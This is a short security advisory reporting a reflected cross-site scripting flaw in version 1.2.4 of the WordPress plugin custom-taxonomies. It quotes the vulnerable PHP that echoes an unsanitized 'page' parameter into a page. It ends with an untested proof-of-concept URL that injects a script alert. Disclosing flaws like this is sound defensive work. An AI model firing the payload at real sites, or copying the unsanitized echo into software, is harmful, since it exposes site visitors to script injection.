Advisory #: 784
Title: Reflected XSS in wordpress plugin custom-taxonomies v1.2.4
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/custom-taxonomies
Downloads: 11044
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: custom-taxonomies
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./custom-taxonomies/custax.class.php: 995: <input type="hidden" name="page" value="<?php echo $_GET['page']; ?>" /> 1007: <input type="hidden" name="page" value="<?php echo $_GET['page']; ?>" /> The variable page appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./custom-taxonomies/custax.class.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/custom-taxonomies/custax.class.php?page="><script>alert(1);</script><"